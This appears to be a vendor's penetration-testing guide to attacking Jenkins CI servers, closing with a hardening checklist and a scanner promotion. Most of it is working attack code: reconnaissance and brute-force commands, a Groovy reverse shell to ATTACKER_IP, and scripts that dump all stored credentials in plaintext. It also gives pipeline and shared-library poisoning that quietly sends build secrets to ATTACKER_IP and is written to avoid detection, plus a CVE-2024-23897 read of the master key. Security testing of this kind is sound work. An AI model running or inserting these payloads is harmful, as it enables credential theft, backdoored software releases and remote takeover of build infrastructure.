Why Jenkins Is a High-Value Target
Jenkins sits at the intersection of your source code, your build secrets, your deployment credentials, and your production infrastructure. A compromised Jenkins instance typically means:
- Access to every secret stored in the credential store (AWS keys, SSH keys, API tokens, passwords)
- Ability to modify build artifacts and introduce backdoors into software releases
- Code execution on build agents, which often have broad network access to production
- Access to all repositories connected to Jenkins pipelines
This makes Jenkins a priority target in supply chain attacks and internal red team engagements.
Phase 1: Reconnaissance and Enumeration
Discovering Jenkins Instances
Jenkins runs on port 8080 by default, though enterprise deployments often proxy it through 443.
Network Scanning
# Find Jenkins instances on the network
nmap -p 8080,443,80 --script http-title 192.168.1.0/24 | grep -i jenkins
# Shodan queries for exposed Jenkins
site:shodan.io search "X-Jenkins" OR "Jenkins-Version"
# Check common Jenkins paths
curl -s https://ci.target.com/login | grep -i jenkins
curl -s https://jenkins.target.com | grep "Jenkins"
# Check version via headers
curl -I https://jenkins.target.com | grep -i "x-jenkins\|x-hudson"
Jenkins-Specific HTTP Headers
Jenkins exposes version information in response headers:
HTTP/1.1 200 OK
X-Jenkins: 2.387.3
X-Hudson: 1.395
X-Jenkins-Session: 12345678
X-You-Are-In-Group-Disabled: true
Unauthenticated Access Check
Many Jenkins instances allow anonymous read (or even build) access:
# Check if anonymous access is allowed
curl -s https://jenkins.target.com/api/json | python3 -m json.tool
# List jobs without authentication
curl -s "https://jenkins.target.com/api/json?tree=jobs[name,url]" | python3 -m json.tool
# Try accessing build history
curl -s "https://jenkins.target.com/job/production-deploy/api/json"
# Check if script console is accessible (critical finding)
curl -s "https://jenkins.target.com/script" | grep -i "script console\|groovy"
Jenkins API Enumeration
# Enumerate users (if read access granted)
curl -s "https://jenkins.target.com/asynchPeople/api/json?depth=1"
# List all jobs recursively
curl -s "https://jenkins.target.com/api/json?tree=jobs[name,url,jobs[name,url,jobs[name,url]]]&depth=3"
# Get build environment variables (sometimes exposed without auth)
curl -s "https://jenkins.target.com/job/JOB_NAME/BUILD_NUMBER/injectedEnvVars/api/json"
# Check installed plugins
curl -s "https://jenkins.target.com/pluginManager/api/json?depth=1&tree=plugins[shortName,version,active]"
Phase 2: Authentication Attacks
Default Credentials
Jenkins has no default credentials on fresh installs but many organizations set weak passwords:
# Common credential combinations to test
admin:admin
admin:password
admin:jenkins
jenkins:jenkins
admin:admin123
# Brute force (only with explicit authorization)
hydra -l admin -P /usr/share/wordlists/rockyou.txt https://jenkins.target.com/j_acegi_security_check \
-m "POST:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid"
Jenkins API Token Attacks
# If you have credentials, generate an API token
curl -s -u "user:password" -X POST \
"https://jenkins.target.com/user/admin/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken" \
--data "newTokenName=test"
# Use API token for subsequent requests
curl -s -u "user:API_TOKEN" "https://jenkins.target.com/api/json"
CSRF Token Bypass
# Get CSRF crumb (required for POST requests on newer Jenkins)
CRUMB=$(curl -s -u "user:pass" \
"https://jenkins.target.com/crumbIssuer/api/json" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d['crumb'])")
# Use crumb in subsequent POST requests
curl -s -u "user:pass" -X POST \
-H "Jenkins-Crumb: $CRUMB" \
"https://jenkins.target.com/script" \
--data "script=println('hello')"
Phase 3: Script Console Remote Code Execution
Jenkins' Script Console (/script) executes arbitrary Groovy code with the permissions of the Jenkins process. This is the most critical Jenkins vulnerability when accessible.
Basic RCE
# Execute system commands via Script Console
def cmd = "id".execute()
println cmd.text
# More complex command execution
def cmd = ["bash", "-c", "whoami && hostname && cat /etc/passwd"].execute()
println cmd.text
# Read files
println new File("/etc/shadow").text
# List environment variables (credential hunting)
println System.getenv()
# Get Jenkins home directory
println jenkins.model.Jenkins.instance.getRootDir()
Reverse Shell from Script Console
# Groovy reverse shell (replace IP/PORT)
String host = "ATTACKER_IP"
int port = 4444
String cmd = "bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream()
OutputStream po = p.getOutputStream(), so = s.getOutputStream()
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read())
while (pe.available() > 0) so.write(pe.read())
while (si.available() > 0) po.write(si.read())
so.flush(); po.flush()
Thread.sleep(50)
try { p.exitValue(); break } catch (Exception e) {}
}; p.destroy(); s.close()
Windows-Specific RCE
# Execute commands on Windows Jenkins controllers
def cmd = "cmd.exe /c whoami /priv".execute()
println cmd.text
# PowerShell execution
def ps = ["powershell", "-c", "Get-Process"].execute()
println ps.text
Phase 4: Credential Store Extraction
Jenkins stores credentials encrypted with a master key. With Script Console access, you can extract credentials in plaintext.
Listing Stored Credentials
# List all credentials via Groovy
import com.cloudbees.plugins.credentials.CredentialsProvider
import jenkins.model.Jenkins
Jenkins.instance.getAllItems().each { item ->
if (item instanceof com.cloudbees.hudson.plugins.folder.AbstractFolder) {
CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class,
item,
null,
null
).each { c ->
println "Folder: ${item.name} | ID: ${c.id} | Type: ${c.class.name}"
if (c instanceof com.cloudbees.plugins.credentials.common.UsernamePasswordCredentials) {
println " Username: ${c.username} | Password: ${c.password}"
}
}
}
}
// Extract all credentials from global store
com.cloudbees.plugins.credentials.SystemCredentialsProvider.instance.getCredentials().each { c ->
println "ID: ${c.id}"
try { println " Secret: ${c.secret}" } catch (e) {}
try { println " Password: ${c.password}" } catch (e) {}
try { println " PrivateKey: ${c.privateKey}" } catch (e) {}
}
Decrypting Jenkins Secrets Offline
If you have filesystem access to the Jenkins home directory:
# Jenkins credential encryption files
$JENKINS_HOME/credentials.xml # Encrypted credential store
$JENKINS_HOME/secrets/master.key # Master key
$JENKINS_HOME/secrets/hudson.util.Secret # AES key
# Python script to decrypt Jenkins secrets (requires master.key)
python3 jenkins_decrypt.py --credentials credentials.xml \
--master-key master.key --hudson-secret hudson.util.Secret
Extracting Secrets from Build Logs
# Build logs sometimes contain secrets printed in cleartext
curl -s "https://jenkins.target.com/job/JOB_NAME/BUILD_NUMBER/consoleText"
# Search all recent build logs
for job in $(curl -s "https://jenkins.target.com/api/json?tree=jobs[name]" | \
python3 -c "import sys,json; [print(j['name']) for j in json.load(sys.stdin)['jobs']]"); do
curl -s "https://jenkins.target.com/job/$job/lastBuild/consoleText" | \
grep -iE "password|token|secret|key|aws|azure|gcp" && echo "--- $job ---"
done
Phase 5: Pipeline Poisoning
If you can modify Jenkinsfiles or pipeline definitions, you can inject malicious build steps that execute during legitimate builds.
Jenkinsfile Injection
# Malicious Jenkinsfile addition
pipeline {
agent any
stages {
stage('Build') {
steps {
sh 'curl http://ATTACKER_IP/exfil?data=$(env | base64 -w0)'
}
}
}
}
# Hidden step injection (less obvious)
pipeline {
agent any
stages {
stage('Test') {
steps {
sh '''
# Legitimate test commands here
./run_tests.sh
# Exfiltrate secrets (hidden in legitimate step)
curl -s "http://ATTACKER_IP/c?h=$(hostname)&u=$(whoami)" > /dev/null &
'''
}
}
}
}
Shared Library Poisoning
Jenkins Shared Libraries define reusable pipeline code. Compromising a shared library repository affects all pipelines that use it:
# If you have access to the shared library repo
# vars/myStep.groovy - add exfiltration to a widely-used step
def call(Map config = [:]) {
sh "curl -s 'http://ATTACKER_IP/sl?d=' + sh(script: 'env | base64 -w0', returnStdout: true).trim() + ' > /dev/null'"
// Original functionality preserved to avoid detection
sh config.command
}
Multibranch Pipeline Attacks
# PR-based attacks: submit a PR with a modified Jenkinsfile
# The Jenkinsfile runs during the PR build with Jenkins credentials
# Attack requires:
# 1. Repo configured for external PR scanning (open source projects)
# 2. Pipeline configured to trust external PR Jenkinsfiles
# Defense bypass: some orgs check only specific branches
# Attack: modify Jenkinsfile in a fork, submit PR, wait for CI to run
Phase 6: JNLP Agent and Worker Exploitation
Rogue Build Agent Registration
# Check if anonymous agent connection is allowed
curl -s "https://jenkins.target.com/computer/api/json?pretty=true"
# Check JNLP port (TCP/50000 by default)
nmap -p 50000 jenkins.target.com
# If anonymous agent connection is enabled:
# Download agent.jar
curl -s "https://jenkins.target.com/jnlpJars/agent.jar" -o agent.jar
# Register a rogue agent (if unauthenticated JNLP allowed)
java -jar agent.jar -jnlpUrl "https://jenkins.target.com/computer/AGENT_NAME/jenkins-agent.jnlp" \
-secret AGENT_SECRET -workDir /tmp
Agent-to-Controller Escalation
Prior to Jenkins 2.319, agents could execute operations on the controller. Check for FilePath.READING_ONLY_BLOCKS and related agent-to-controller security controls:
# Test if agent can read controller files (should be blocked in modern Jenkins)
# Run from an agent's Groovy execution context
new File(jenkins.model.Jenkins.instance.getRootDir(), "credentials.xml").text
Phase 7: Privilege Escalation Within Jenkins
Role-Based Access Control Bypass
# Check your current permissions
curl -s -u "user:pass" "https://jenkins.target.com/whoAmI/api/json"
# Try to access admin-only endpoints
curl -s -u "user:pass" "https://jenkins.target.com/configure"
curl -s -u "user:pass" "https://jenkins.target.com/pluginManager"
# Check if you can create/modify jobs (may give you script execution)
curl -s -u "user:pass" -X POST \
-H "Jenkins-Crumb: CRUMB" \
"https://jenkins.target.com/createItem?name=test-job&mode=org.jenkinsci.plugins.workflow.job.WorkflowJob"
Matrix Authorization Misconfiguration
# Common misconfiguration: Anonymous users have Overall/Read
# This allows unauthenticated job listing and build log access
# Check for dangerous permissions granted to authenticated users
# (should not include: Overall/Administer, Overall/RunScripts)
curl -s -u "low-priv-user:pass" "https://jenkins.target.com/script"
Common Jenkins Vulnerabilities: CVE Reference
| CVE | Description | Impact |
|---|---|---|
| CVE-2024-23897 | Args4j file read via CLI (arbitrary file read as Jenkins process user) | Critical — leads to RCE via master.key extraction |
| CVE-2023-27898 | Update Center XSS → RCE (RepoSilpworm) | Critical |
| CVE-2022-34177 | Pipeline: Input Step plugin allows unauthorized file write | High |
| CVE-2019-1003000 | Script Security sandbox bypass via Groovy meta-programming | Critical |
| CVE-2018-1000861 | Stapler request routing allows unauthenticated remote method invocation | Critical |
Testing for CVE-2024-23897 (Critical, Jan 2024)
# Download Jenkins CLI
curl -sO https://jenkins.target.com/jnlpJars/jenkins-cli.jar
# Test arbitrary file read (unauthenticated in vulnerable versions)
java -jar jenkins-cli.jar -s https://jenkins.target.com/ -noCertificateCheck \
help "@/etc/passwd"
# More impactful: read master key
java -jar jenkins-cli.jar -s https://jenkins.target.com/ -noCertificateCheck \
help "@/var/jenkins_home/secrets/master.key"
Automated Testing with Nuclei
# Jenkins-specific Nuclei templates
nuclei -u https://jenkins.target.com -t jenkins/ -severity medium,high,critical
# Scan for specific vulnerabilities
nuclei -u https://jenkins.target.com \
-t http/exposed-panels/jenkins-dashboard.yaml \
-t http/cves/2024/CVE-2024-23897.yaml \
-t http/misconfiguration/jenkins/jenkins-anonymous-access.yaml \
-t http/misconfiguration/jenkins/jenkins-script-console.yaml
# Full web application scan
nuclei -u https://jenkins.target.com -as
Jenkins Security Hardening Checklist
Authentication and Access Control
- Disable anonymous access — set security realm, do not allow "Allow users to sign up"
- Use Matrix Authorization or Role-Based Strategy — never grant Overall/Administer to non-admin users
- Disable unauthenticated API access — require authentication for all API endpoints
- Enforce CSRF protection — ensure crumb issuer is enabled (it is by default in modern Jenkins)
- Enable HTTPS — Jenkins should never be served over HTTP in production
- Restrict agent connections — disable anonymous JNLP agent connections
Script Console and Agent Security
- Restrict Script Console access — only grant Overall/RunScripts to trusted admins
- Enable agent-to-controller security — block agent filesystem access to controller
- Use Pipeline Script from SCM — avoid Inline Groovy scripts in job configurations
- Enable Groovy Sandbox — require approval for pipeline scripts that escape the sandbox
Credential Management
- Use credential IDs, not values — never hardcode secrets in pipeline scripts
- Restrict credential scope — use folder-scoped credentials, not global ones
- Mask secrets in build output — enable "Mask Passwords" plugin
- Audit credential access — log when credentials are accessed in builds
- Rotate credentials regularly — treat any Jenkins compromise as credential compromise
Network Security
- Do not expose Jenkins to the internet — place behind VPN or internal network
- Restrict JNLP port (50000) — firewall if not needed for external agents
- Use Jenkins in Kubernetes with NetworkPolicy — restrict agent egress
- Enable audit trail plugin — log all configuration changes
Update Management
- Keep Jenkins core updated — Jenkins LTS releases patch security vulnerabilities frequently
- Audit and update plugins — plugins are a primary vulnerability surface; remove unused ones
- Subscribe to Jenkins security advisories —
https://www.jenkins.io/security/advisories/
Testing with Ironimo
Ironimo scans Jenkins endpoints for unauthenticated access, Script Console exposure, known CVEs, and credential leakage in API responses. It integrates Jenkins security testing into your regular scanning cadence so misconfigurations are caught before attackers find them.
Scan Your Jenkins Instances
Detect exposed dashboards, Script Console access, and known CVEs in your Jenkins setup — automatically, on a schedule.
Start free scanKey Takeaways
- Script Console is RCE — unauthenticated access to
/scriptis a critical finding requiring immediate remediation - Jenkins credentials.xml is the crown jewel — protecting filesystem access to Jenkins home is as important as securing the web interface
- Pipeline poisoning is stealthy — supply chain attacks via Jenkinsfile modification may run for weeks before detection
- CVE-2024-23897 is actively exploited — patch immediately if running Jenkins < 2.441 / LTS < 2.426.3
- Plugins expand the attack surface — each plugin is potential vulnerability surface; audit and remove unused plugins